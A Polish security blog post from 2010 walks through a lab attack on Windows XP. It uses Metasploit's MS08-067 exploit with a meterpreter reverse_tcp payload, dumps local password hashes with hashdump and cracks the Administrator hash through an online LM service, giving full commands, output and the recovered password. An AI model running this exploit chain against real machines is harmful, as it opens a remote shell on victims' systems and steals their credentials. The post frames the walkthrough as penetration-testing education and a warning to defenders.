09 stycznia 2010

Zdalne odzyskiwanie (łamanie) haseł w Windows XP



W kilku poprzednich wpisach przedstawiłem kilka interesujących sposobów na odzyskiwanie (łamanie) haseł lokalnych użytkowników w systemach operacyjnych z rodziny Windows:
Dziś natomiast chciałbym przedstawić metodę pozwalającą na zdalne (bez fizycznego dostępu do docelowego komputera) wykonanie tego rodzaju operacji.

Nasza procedura będzie polegać na dostaniu się do docelowego systemu za pomocą exploitu, wydobyciu z niego hashy haseł oraz odzyskaniu samych haseł na podstawie hashy za pomocą dostępnej online usługi LM Cracker. Brzmi skomplikowanie? W praktyce jest to całkiem proste... zanim jednak zaczniemy przypomnę tylko, że tego rodzaju testy są legalne wyłącznie jeśli są wykonywane w stosunku do własnych systemów komputerowych!

Do przeprowadzenia naszego testu penetracyjnego (ataku testowego) posłużymy się niezastąpionym środowiskiem Metasploit Framework. Osoby nieobeznane z testami penetracyjnymi oraz podstawami pracy ze środowiskiem Metasploit, zachęcam najpierw do przestudiowania wpisu Metasploit Framework: przykładowy test penetracyjny w praktyce.

Pierwszym etapem naszego testu penetracyjnego (ataku testowego) jest przeniknięci do docelowego systemu za pomocą wybranego exploitu. Kontrolę nad systemem Windows XP spróbujemy przejąć zdalnie za pomocą exploitu windows/smb/ms08_067_netapi. Moduł ten jest w stanie wykorzystać krytyczny błąd w zabezpieczeniach usługi Serwer (Biuletyn zabezpieczeń firmy Microsoft MS08-067) obecny w wielu systemach z rodziny Windows i pozwalający na zdalne wykonanie kodu. Warunkiem udanego włamania testowego jest brak w docelowym systemie poprawki bezpieczeństwa KB921883. Jako payload wykorzystamy moduł windows/meterpreter/reverse_tcp. Procedura (wykonana z poziomu msfconsole - jednego z interfejsów środowiska Metasploit) wygląda następująco:
  • msf > svn update (uruchomienie procesu aktualizacyjnego całego środowiska Metasploit, warto zawsze z niego skorzystać przed rozpoczęciem właściwej pracy)
  • msf > use exploit/windows/smb/ms08_067_netapi (wybór oraz wejście w tryb konfiguracji modułu exploitu ms08_067_netapi)
  • msf exploit(ms08_067_netapi) > set RHOST 192.168.64.135 (ustawienie adresu IP docelowego systemu Windows XP)
  • msf exploit(ms08_067_netapi) > set LHOST 192.168.64.128 (ustawienie adresu IP naszego systemu, z którym exploit uruchomiony w docelowym systemie nawiąże połączenie zwrotne)
  • msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp (wybór oraz wejście w tryb konfiguracji modułu payloadu meterpreter/reverse_tcp),
  • msf exploit(ms08_067_netapi) > exploit (uruchomiemie exploitu ms08_067_netapi)
Jeśli tylko docelowy system podatny jest na działanie exploitu ms08_067_netapi (jeśli nie jest, to do dyspozycji mamy jeszcze kilkaset innych gotowych exploitów w ramach środowiska Metasploit), to w jego ramach uruchomiony zostanie payload meterpreter. Meterpreter, będący modułem o niezwykle zaawansowanych możliwościach, nawiąże z naszym komputerem zwrotne połączenie i odda do naszej dyspozycji własną konsolę, czekając na dalsze rozkazy osoby kontrolującej przebieg testu. Udane uruchomienie exploitu i załadowanie meterpretera w komputerze docelowym rozpoznamy po następującej sekwecji komunikatów:
[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 0 / 1 - lang:English
[*] Selected Target: Windows XP SP0/SP1 Universal
[*] Triggering the vulnerability...
[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Sending stage (2650 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (75787 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened (192.168.64.128:4444 -> 192.168.64.135:1031)
meterpreter >
Do osiągnięcia naszego celu, czyli wydobycia z docelowego systemu hashy haseł lokalnych użytkowników wystarczy już tylko w konsoli meterpretera wprowadzic polecenie hashdump. W wyniku otrzymamy oczekiwane dane:
meterpreter > hashdump
admin:1003:c153cef99499b8e225e6c6a091ddab09: 18982ac21f0e11395bdc9eab1e204a8f:::
Administrator:500:bf6c414b92191074d461b6877cf6c3a8: bd69ebb07a5bd590a17412f279fd16fa:::
Guest:501:aad3b435b51404eeaad3b435b51404ee: 31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:0fa49bcf3e80a06b8e24acd45077d351: 0fc8afc79ed623d310feed2434432c4f:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee: 40481258bad59ecbf2c1fade3717ff9f:::
meterpreter >
Przebieg całej procedury wydobywania hashy haseł ze zdalnego systemu można prześledzić na poniższym zrzucie ekranu:



Mamy już wszystko, co jest nam potrzebne do odzyskania haseł. Zakładając, że interesuje nas hasło użytkownika Administrator, wystarczy już tylko odpowiadający mu wiersz zawierający m.in. hash hasła (Administrator:500:bf6c414b92191074d461b6877cf6c3a8: bd69ebb07a5bd590a17412f279fd16fa:::: Uwaga: należy dopisać na końcu dodatkowy, czwarty znak ":") wprowadzić za pomocą odpowiedniego formularza usługi LM Cracker. Już po kilkuset sekundach otrzymujemy wynik, hasło użytkownika administrator w docelowym systemie Windows XP to: 4|?'8f0$BV5p9s. Otrzymany wynik ilustruje następujący zrzut ekranu:



Podsumowując, udało nam się odzyskać (złamać) całkiem skomplikowane hasło administratora zdalnego systemy Windows XP. Do wykonania powyższej procedury niezbędna jest jedynie sieciowa widoczność docelowego systemu oraz jego podatność na którykolowiek z exploitów dostępnych w ramach środowiska Metasploit. Pomimo tego, że cała procedura jest bardzo zaawansowana technicznie (składa się z przejęcia kontroli nad docelowym systemem za pomocą exploitu wykorzystującego znajdującą się w nim lukę oraz odzyskania skomplikowanego hasła z jego hashu z pomocą chmury serwerów), to jej wykonanie jest stosunkowo proste. Dzieje się tak, ponieważ ciągle rozwijane są profesjonalne narzędzia i usługi online pozwalające praktycznie każdemu na przeprowadzanie bardzo zaawansowanych testów penetracyjnych. Powyższy przykład powinien więc stanowić dla nas przestrogę. Pokazuje on bowiem w jak prosty sposób potencjalny włamywacz może przejąć kontrolę nad systemem zawierającym jakąkolwiek lukę... miejmy się więc na baczności!

Artykuł autorski HCSL - Wojciech Smol